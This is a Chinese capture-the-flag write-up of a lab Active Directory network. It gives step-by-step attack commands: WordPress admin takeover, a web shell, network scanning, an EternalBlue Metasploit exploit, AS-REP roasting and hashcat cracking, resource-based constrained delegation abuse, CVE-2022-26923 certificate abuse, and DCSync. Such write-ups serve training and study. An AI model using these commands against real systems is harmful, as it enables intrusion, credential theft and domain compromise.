春秋云镜-2022网鼎杯半决赛复盘

admin 2024年10月21日23:40:33评论42 views字数 6989阅读23分17秒阅读模式
春秋云镜-2022网鼎杯半决赛复盘

flag01

wordpress 管理员弱口令 admin/123456 登录后台(原网鼎杯这里不是弱密码,而是考察任意文件删除的 0day,删除配置文件重装登录后台)春秋云镜-2022网鼎杯半决赛复盘

后台修改配置文件 RCE春秋云镜-2022网鼎杯半决赛复盘

蚁剑连接

/wp-content/themes/twentytwentyone/index.php

拿到第一个 flag春秋云镜-2022网鼎杯半决赛复盘

flag02

上传代理程序和 fscan 探测内网信息

172.22.15.13:88 open
172.22.15.26:80 open
172.22.15.26:22 open
172.22.15.24:3306 open
172.22.15.35:445 open
172.22.15.18:445 open
172.22.15.13:445 open
172.22.15.24:445 open
172.22.15.35:139 open
172.22.15.18:139 open
172.22.15.13:139 open
172.22.15.24:139 open
172.22.15.35:135 open
172.22.15.18:135 open
172.22.15.13:135 open
172.22.15.24:135 open
172.22.15.18:80 open
172.22.15.24:80 open
[*] NetInfo:
[*]172.22.15.13
   [->]XR-DC01
   [->]172.22.15.13
[*] NetInfo:
[*]172.22.15.18
   [->]XR-CA
   [->]172.22.15.18
[*] NetInfo:
[*]172.22.15.24
   [->]XR-WIN08
   [->]172.22.15.24
[*] NetInfo:
[*]172.22.15.35
   [->]XR-0687
   [->]172.22.15.35
[*] NetBios: 172.22.15.35    XIAORANGXR-0687               
[+] 172.22.15.24 MS17-010 (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios: 172.22.15.24    WORKGROUPXR-WIN08                  Windows Server 2008 R2 Enterprise 7601 Service Pack 1 
[*] NetBios: 172.22.15.13    [+]DC XR-DC01.xiaorang.lab          Windows Server 2016 Standard 14393 
[*] NetBios: 172.22.15.18    XR-CA.xiaorang.lab                  Windows Server 2016 Standard 14393 
[*] WebTitle: http://172.22.15.24       code:302 len:0      title:None 跳转url: http://172.22.15.24/www
[*] WebTitle: http://172.22.15.18       code:200 len:703    title:IIS Windows Server
[*] 172.22.15.13  (Windows Server 2016 Standard 14393)
[*] WebTitle: http://172.22.15.26       code:200 len:39962  title:XIAORANG.LAB
[*] WebTitle: http://172.22.15.24/www/sys/index.php code:200 len:135    title:None
[+] http://172.22.15.18 poc-yaml-active-directory-certsrv-detect 

172.22.15.24 这台扫出 MS17-010,先用 msf 打下这台

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
show options
set rhost 172.22.15.24
run
春秋云镜-2022网鼎杯半决赛复盘

添加管理员用户后连接 3389,获取第二个flag春秋云镜-2022网鼎杯半决赛复盘

flag03

这台机子不在域内,但有一个 zdoo 的 web 服务,找一下数据库密码,尝试登录后台看看有没有什么敏感信息春秋云镜-2022网鼎杯半决赛复盘

连接数据库春秋云镜-2022网鼎杯半决赛复盘

cmd5 跑的结果为 123456,得到账号:admin/123456,登录后台春秋云镜-2022网鼎杯半决赛复盘

这边收集到一些域用户账号,做个字典

[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

接下来考察 AS-REP Roasting,通过 impact 项目的 GetUserSPNs.py 脚本寻找没有做 Kerberos 预身份认证的用户

proxychains python3 GetNPUsers.py -dc-ip 172.22.15.13 -usersfile user.txt xiaorang.lab/
春秋云镜-2022网鼎杯半决赛复盘
春秋云镜-2022网鼎杯半决赛复盘

lixiuying 和 huachunmei 两个用户没有做 Kerberos 预身份认证,拿到 TGT 票据和对应的 session-key,尝试 hashcat 解密

hashcat -m 18200 --force -a 0 '[email protected]@XIAORANG.LAB:6ffcf41f6cdd4b4acb52369067cf6c40$2f2e3803acb784f628944d79f36c2f39dbb2b0472b8b004178e3faf5bb4b0c6a98ddcbfe09335a73661abce181afd3c2ae28b29069617bf9e4c71a2f0a7ec7d5243eceee8538d3f13c8e2ffa23e0ba734dd6565949c6c8bc9f22799ae14946084b743d6b7df46fbddbc18903a8cb7f21c95886511809ae62c2a0c2e431d8852c1fcfce5cd96240493bc8110f32eca6895dc23c865431a211a5b9fd1023f57017432da2d47035992efed3a6ca1b3e784679139f73ff0ff26fec51cb6accc3e817da6e50bbe7e8d86d5df3d93c87a7d54360fc8512c3d8303e6880650f45a9cfad4dd2a4b64f108c64d570d4f5' rockyou.txt
春秋云镜-2022网鼎杯半决赛复盘

得到两个域用户账号

[email protected]/winniethepooh
[email protected]/1qaz2wsx

测试域账号可以在 172.22.15.35(XIAORANGXR-0687)这台机子登录,3389 连上去。

通过 powerview 枚举 lixiuying 用户对当前机器的 DACL

Import-Module .PowerView.ps1
Get-DomainUser -Identity lixiuying -Properties objectsid
Get-DomainObjectAcl -Identity XR-0687 | ?{$_.SecurityIdentifier -match "S-1-5-21-3745972894-1678056601-2622918667-1131"}
春秋云镜-2022网鼎杯半决赛复盘

可以看到 lixiuying 用户对当前机器 XR-0687 具有 GenericWrite 权限,意味着可以修改该机器的任何属性,接下来可以通过 RBCD(基于资源的约束委派)进行提权。

使用 Powermad 添加机器用户 HACK01/Qwer1234

Import-Module .Powermad.ps1
$Password = ConvertTo-SecureString 'Qwer1234' -AsPlainText -Force
New-MachineAccount -MachineAccount "HACK01" -Password $($Password) -Domain "xiaorang.lab" -DomainController "XR-DC01.xiaorang.lab" -verbose
春秋云镜-2022网鼎杯半决赛复盘

接下来将创建的机器用户 HACK01 机器的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性

# 导入模块
Import-Module .PowerView.ps1
# 获取 HACK01 账户的 SID
Get-NetComputer "HACK01" -Properties objectsid
# 尝试配置 HACK01 到 XR-0687 的基于资源的约束性委派
$A = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3745972894-1678056601-2622918667-1147)"
$SDBytes = New-Object byte[] ($A.BinaryLength)
$A.GetBinaryForm($SDBytes, 0)
Get-DomainComputer XR-0687 | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes} -Verbose
# 查看是否配置成功
Get-DomainComputer XR-0687 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
春秋云镜-2022网鼎杯半决赛复盘

如果想清除msds-allowedtoactonbehalfofotheridentity属性值,可以调用如下命令清除

Set-DomainObject XR-0687 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

上述的添加机器账号和配置资源委派也可以通过 SharpAllowedToAct 工具一条命令完成

SharpAllowedToAct.exe -m HACK01 -p Qwer1234 -t XR-0687 -a XR-DC01.xiaorang.lab -d xiaorang.lab
春秋云镜-2022网鼎杯半决赛复盘

使用 impacket 的 getST.py 生成票据

proxychains impacket-getST xiaorang.lab/HACK01$:Qwer1234 -dc-ip 172.22.15.13 -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator

然后使用生成的 Administrator.ccache 票据获取系统管理员权限

export KRB5CCNAME=Administrator.ccache
proxychains impacket-wmiexec XR-0687.xiaorang.lab -no-pass -k -dc-ip 172.22.15.13

这里请求失败,需要在 hosts 文件设置域名 IP春秋云镜-2022网鼎杯半决赛复盘

获取第三个 flag春秋云镜-2022网鼎杯半决赛复盘

flag04

最后就是打域控了,前面 fscan 信息收集的时候有一台 172.22.15.18(XR-CA.xiaorang.lab),明显的考察证书服务相关的漏洞,去年 2022 就有一个比较火的 CVE-2022–26923 域内提权漏洞。

通过 certipy 创建一个机器账号 HACK02,并且设置 DNS Host Name 为域控的 XR-DC01.xiaorang.lab

proxychains certipy account create -u [email protected] -p winniethepooh -dc-ip 172.22.15.13 -user HACK02 -pass Qwer1234 -dns 'XR-DC01.xiaorang.lab'
春秋云镜-2022网鼎杯半决赛复盘

查询域控 CA 名

proxychains certipy find -u [email protected] -p winniethepooh -dc-ip 172.22.15.13
春秋云镜-2022网鼎杯半决赛复盘

用该机器账户向 XR-CA 请求证书

proxychains certipy req -u HACK02$@xiaorang.lab -p Qwer1234 -target 172.22.15.18 -ca "xiaorang-XR-CA-CA" -template Machine
春秋云镜-2022网鼎杯半决赛复盘

用申请到的证书进行 PKINIT Kerberos 身份认证,获取域控制器账号 TGT 票据

proxychains certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 -debug
春秋云镜-2022网鼎杯半决赛复盘

这里我遇到了 KDC_ERR_PADATA_TYPE_NOSUPP 错误,显示 KDC 不支持 PADATA 类型(预认证数据), Kerberos 预身份验证失败。

whoami 师傅也遇到了这个问题并给出了解决方法

https://whoamianony.top/posts/pass-the-certificate-when-pkinit-is-nosupp/

先转换一下请求到的证书格式

certipy cert -pfx xr-dc01.pfx > cert.pem

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

利用 whoami 师傅的工具,通过证书认证到 LDAPS,添加机器账户 HACK03,并设置 HACK03 到域控制器 XR-DC01 的 RBCD

PassTheCertificate.exe -CertPath .cert.pfx -CertPassword 123456 -MachineAccount HACK03$ -MachinePassword Qwer1234 -Target "CN=XR-DC01,OU=Domain Controllers,DC=xiaorang,DC=lab"
春秋云镜-2022网鼎杯半决赛复盘

使用 impacket 的 getST.py 生成票据

proxychains impacket-getST xiaorang.lab/HACK03$:Qwer1234 -dc-ip 172.22.15.13 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator

然后使用生成的 Administrator.ccache 票据获取系统管理员权限

export KRB5CCNAME=Administrator.ccache
proxychains impacket-wmiexec XR-DC01.xiaorang.lab -no-pass -k -dc-ip 172.22.15.13

获取到最后的 flag春秋云镜-2022网鼎杯半决赛复盘

如果没有遇到 KDC_ERR_PADATA_TYPE_NOSUPP 错误,可以正常获得域控制器账号 TGT 票据,然后再通过该票据 DCSync 转储获取域管哈希

proxychains python3 secretsdump.py 'xiaorang.lab/[email protected]' -hash :票据

原文始发于微信公众号(虹猫少侠):春秋云镜-2022网鼎杯半决赛复盘

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月21日23:40:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   春秋云镜-2022网鼎杯半决赛复盘https://cn-sec.com/archives/1941024.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息